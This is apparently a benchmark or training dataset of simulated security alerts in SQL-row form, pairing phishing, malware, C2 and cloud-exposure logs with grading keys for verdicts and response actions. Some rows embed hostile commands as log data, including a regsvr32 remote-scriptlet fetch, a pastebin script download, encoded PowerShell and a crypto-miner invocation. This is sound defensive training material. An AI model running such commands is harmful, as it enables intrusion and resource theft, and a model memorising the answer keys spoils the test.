(733, 'Business Email Compromise Attempt via Lookalike Domain', 'medium', 'Proofpoint', 'An email pretending to be from a trusted partner was detected with a request for an urgent transaction. The sender\'s domain closely resembles an official domain but is slightly altered.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:05:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"10.0.0.8\",\"username\":\"c.brown@company.com\",\"hostname\":\"workstation-03\",\"email_sender\":\"partner@trusted-secure.com\",\"domain\":\"trusted-secure.com\",\"url\":\"http://secure-trusted.com/transaction\"}', '2026-01-09 17:01:50', '2026-01-11 15:09:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"partner@trusted-secure.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain closely resembling a trusted partner, associated with BEC attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-trusted.com/transaction\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL used in BEC scams to redirect users to fraudulent transaction pages.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The sender\'s domain is a lookalike of a trusted partner, used in a BEC attempt to request a fraudulent transaction.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT'),
(734, 'False Positive Alert: Legitimate Email Flagged as Phishing', 'low', 'Email Gateway', 'An email from a new vendor was mistakenly flagged as phishing due to an unusual domain. The email content and sender\'s reputation are verified as legitimate.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:30:22Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.5\",\"dst_ip\":\"10.0.0.15\",\"username\":\"m.jones@company.com\",\"hostname\":\"workstation-04\",\"email_sender\":\"info@newvendor.com\",\"domain\":\"newvendor.com\",\"url\":\"http://newvendor.com/welcome\"}', '2026-01-11 06:47:17', '2026-01-11 15:09:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"info@newvendor.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"Email address verified as legitimate by OSINT checks.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://newvendor.com/welcome\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"URL verified as legitimate, associated with a new vendor.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email from a new vendor was mistakenly flagged due to an unfamiliar domain but verified as legitimate.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(735, 'Spear Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A spear phishing email was detected targeting an employee, containing a malicious URL hosted on a lookalike domain. The email uses urgency language to lure the victim into clicking the link.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.10.5\",\"username\":\"jdoe@example.com\",\"hostname\":\"WS-001\",\"email_sender\":\"ceo@examp1e.com\",\"url\":\"http://login.examp1e.com/secure\",\"email_subject\":\"Urgent: Verify Your Account Immediately\"}', '2026-01-11 02:32:22', '2026-01-11 15:09:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@examp1e.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://login.examp1e.com/secure\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing login pages\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 152 times for phishing activities\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The lookalike domain and use of urgency suggest a targeted phishing attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(736, 'Detected Command and Control Communication from Malware', 'critical', 'CrowdStrike', 'A malware infection was detected attempting to communicate with a known C2 server. The connection was initiated from an internal host.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.89\",\"username\":\"user1@company.com\",\"hostname\":\"PC-003\",\"file_hash\":\"abcd1234efgh5678ijkl9012mnop3456\"}', '2026-01-10 14:58:13', '2026-01-11 15:09:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware C2 activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl9012mnop3456\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in several malware infections\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The communication to a known C2 server confirms the host is compromised.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT'),
(737, 'Failed Brute Force Login Attempts Detected', 'medium', 'Wazuh', 'Multiple failed login attempts were detected from a foreign IP address, indicating a potential brute force attack.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:30:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe@company.com\",\"hostname\":\"PC-004\",\"failed_attempts\":35}', '2026-01-11 11:45:57', '2026-01-11 15:09:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported several times for suspicious login activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted host\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"No additional suspicious activity detected for this user\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts and foreign IP location indicate a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(738, 'Suspicious Email Flagged as Possible False Positive', 'low', 'Email Gateway', 'An email was flagged as suspicious due to its sender domain, but analysis shows it matches known safe entities.', 'Phishing', 'T1598', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.25\",\"dst_ip\":\"192.168.1.15\",\"username\":\"user2@company.com\",\"hostname\":\"WS-002\",\"email_sender\":\"newsletter@trustedsource.com\",\"email_subject\":\"Monthly Updates\"}', '2026-01-11 10:40:23', '2026-01-11 15:09:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"newsletter@trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Sender domain verified as legitimate source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP matches known safe email servers\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The sender and IP are verified as legitimate, indicating this is a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(739, 'APT-Level Phishing Attack via Spoofed Office365 Login Page', 'critical', 'Proofpoint', 'A spear phishing email was detected attempting to harvest credentials using a spoofed Office365 login page. The email was sent from a lookalike domain and contained urgency language.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:34Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"jdoe@company.com\",\"hostname\":\"mail.company.com\",\"email_sender\":\"no-reply@0ffice365-security.com\",\"domain\":\"0ffice365-security.com\",\"url\":\"http://login-verifyoffice365.com\",\"email_subject\":\"Immediate Action Required: Verify Your Office365 Account\"}', '2026-01-11 14:23:02', '2026-01-11 15:10:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 157 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@0ffice365-security.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Lookalike domain used in phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://login-verifyoffice365.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Phishing page mimicking Office365 login\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious IP and used a lookalike domain to deceive users into entering their credentials.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(740, 'Fileless Malware Detected via Process Hollowing', 'high', 'CrowdStrike', 'A process hollowing technique was detected on a user endpoint, indicating a potential fileless malware execution. The attack leveraged PowerShell with heavy obfuscation.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"\",\"username\":\"m.smith\",\"hostname\":\"DESKTOP-45KTHR\",\"command_line\":\"powershell -NoP -W Hidden -Enc dwBvAGsAZQBuAC0AUABvAHcAZQByAFMAYwBoAGUAbQBlACAAOwAgACQAbABvAGcAKwA=\"}', '2026-01-11 01:56:23', '2026-01-11 15:10:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -NoP -W Hidden -Enc dwBvAGsAZQBuAC0AUABvAHcAZQByAFMAYwBoAGUAbQBlACAAOwAgACQAbABvAGcAKwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of process hollowing\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command suggests process hollowing, a common technique for fileless malware.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(741, 'DGA Domain Detected in Network Traffic', 'medium', 'Firewall', 'Suspicious network traffic was detected involving a domain generated by a Domain Generation Algorithm (DGA), commonly used for C2 communication.', 'Command and Control', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:22:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.77\",\"username\":\"jane.doe\",\"hostname\":\"LAPTOP-JDOE\",\"domain\":\"gibberish12345.biz\"}', '2026-01-09 20:43:04', '2026-01-11 15:10:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple DGA domains\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"gibberish12345.biz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain matches patterns used by DGA malware\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"command_and_control\",\"analysis_notes\":\"The domain and associated IP are indicative of DGA-based C2 communication.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT'),
(742, 'Failed Network Connection Attempt to Known Malicious IP', 'low', 'IDS', 'A network connection attempt was detected to an external IP previously reported for malicious activities. Further investigation revealed it was a benign service misconfiguration.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:47:59Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.99\",\"username\":\"svc.account\",\"hostname\":\"SERV-01\"}', '2026-01-10 08:16:16', '2026-01-11 15:10:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the service account host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for malicious activities but currently clean\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The connection attempt to a previously malicious IP was due to a misconfigured service, resulting in a false positive.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS'),
(743, 'Suspicious AWS Lambda Invocation Detected', 'critical', 'AWS GuardDuty', 'A Lambda function was invoked with a payload indicative of crypto mining. The function leveraged multiple legitimate services as C2 channels.', 'Malware', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:23:45Z\",\"event_type\":\"lambda_invocation\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.56\",\"username\":\"aws_lambda_user\",\"hostname\":\"lambda-instance-01\",\"command_line\":\"python3 -c \'import urllib; urllib.request.urlopen(\\\"https://pastebin.com/raw/abcd1234\\\")\'\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-01-11 09:40:26', '2026-01-11 15:12:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 237 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known crypto mining malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"python3 -c \'import urllib; urllib.request.urlopen(\\\"https://pastebin.com/raw/abcd1234\\\")\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command uses pastebin to fetch remote scripts\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Lambda invocation detected with indicators pointing to crypto mining. IP and hash linked to malicious activity.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(744, 'Azure AD Privilege Escalation Attempt', 'high', 'Microsoft Sentinel', 'Anomalous activity detected with Azure AD privileges being elevated using a compromised account. The activity was followed by suspicious PowerShell commands.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"hostname\":\"win-server-2026\",\"command_line\":\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\"}', '2026-01-10 15:01:29', '2026-01-11 15:12:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Privilege escalation detected with encoded PowerShell indicative of malicious intent.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(745, 'Potential Data Exfiltration via Exposed S3 Bucket', 'high', 'AWS CloudTrail', 'Sensitive data was accessed from an exposed S3 bucket by a foreign IP, suggesting data exfiltration.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:40:12Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.0.2.44\",\"username\":\"s3_data_user\",\"hostname\":\"s3-bucket-123\",\"request_body\":\"GET /sensitive-data.csv HTTP/1.1\"}', '2026-01-10 08:53:05', '2026-01-11 15:12:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized data access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data.csv HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Access to sensitive data file without authorization\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"review_bucket_permissions\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"IP involved in accessing exposed S3 bucket with sensitive data, indicative of data exfiltration.\"}', 'Expert', 'CLOUD', 9, 1, 'OT_ICS'),
(746, 'False Positive: Legitimate User Mistaken for Brute Force Attacker', 'medium', 'Splunk', 'Multiple login failures detected from an internal IP address. Investigation revealed a legitimate user mistyping their password.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:25:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"10.0.1.15\",\"username\":\"jane.doe\",\"hostname\":\"corp-laptop-01\",\"failed_attempts\":12}', '2026-01-09 22:57:28', '2026-01-11 15:12:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, no external threat detected\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate corporate user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Login failures occurred due to user error; no malicious activity detected.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(747, 'Lateral Movement Detected Using LOLBins within Azure Environment', 'critical', 'Azure Sentinel', 'Suspicious regsvr32.exe execution detected on multiple internal hosts indicating potential lateral movement using LOLBins within Azure VMs.', 'Lateral Movement', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.8\",\"username\":\"jdoe\",\"hostname\":\"AzureVM01\",\"command_line\":\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\"}', '2026-01-09 22:34:33', '2026-01-11 15:12:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used for executing remote script leveraging regsvr32\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of regsvr32 to execute a remote script is indicative of an attempt to move laterally within the network.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(748, 'Exposed S3 Bucket Detected, Potential Data Exposure', 'high', 'AWS GuardDuty', 'An S3 bucket was found to be publicly accessible, which could lead to unauthorized data exposure.', 'Data Exfiltration', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"bucket_policy_change\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"AWS\",\"username\":\"aws-user\",\"hostname\":\"N/A\",\"request_body\":\"{\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::mybucket/*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\"}\"}', '2026-01-11 12:33:53', '2026-01-11 15:12:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP previously reported for suspicious cloud activity\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"{\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::mybucket/*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Config\",\"verdict\":\"malicious\",\"details\":\"Bucket policy allows public access to all objects\"}}],\"expected_actions\":[\"block_ip\",\"close_bucket_policy\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Public access to S3 buckets can expose sensitive data. Immediate action required to close access.\"}', 'Advanced', 'DLP', 7, 1, 'OT_ICS'),
(749, 'Encoded PowerShell Command Execution Detected in GCP', 'critical', 'Google Cloud Security Command Center', 'An encoded PowerShell command was executed on a Google Cloud VM, indicative of possible malicious activity.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:15:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"N/A\",\"username\":\"admin\",\"hostname\":\"GCP-VM-01\",\"command_line\":\"powershell -enc aGVsbG8gd29ybGQ=\"}', '2026-01-10 13:25:27', '2026-01-11 15:12:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the GCP VM\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -enc aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are often used to evade detection and execute malicious payloads.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(750, 'Suspicious Email Detected - Potential False Positive', 'medium', 'Proofpoint Email Gateway', 'An email containing a link to an external website was flagged as suspicious but appears to be from a trusted source.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:25:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.20\",\"username\":\"employee@example.com\",\"hostname\":\"N/A\",\"email_sender\":\"trusted.source@example.com\",\"request_body\":\"Please review the attached document: https://example-trusted-site.com/document\"}', '2026-01-10 11:44:36', '2026-01-11 15:12:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted email provider\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://example-trusted-site.com/document\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL belongs to a trusted and verified domain\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"trusted.source@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"clean\",\"details\":\"Email address registered to a known and trusted organization\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Despite initial suspicion, the email was verified to be from a trusted source with clean OSINT results.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT'),
(751, 'Potential Crypto Mining Activity on AWS EC2 Instance', 'high', 'AWS GuardDuty', 'GuardDuty detected anomalous CPU usage patterns consistent with crypto mining on an EC2 instance. This activity is often indicative of unauthorized resource usage.', 'Malware', 'T1496', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:23:45Z\",\"event_type\":\"anomalous_usage\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.78\",\"username\":\"ec2-user\",\"hostname\":\"ec2-192-168-1-10.compute-1.amazonaws.com\",\"command_line\":\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\"}', '2026-01-10 12:48:36', '2026-01-11 15:12:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to AWS EC2 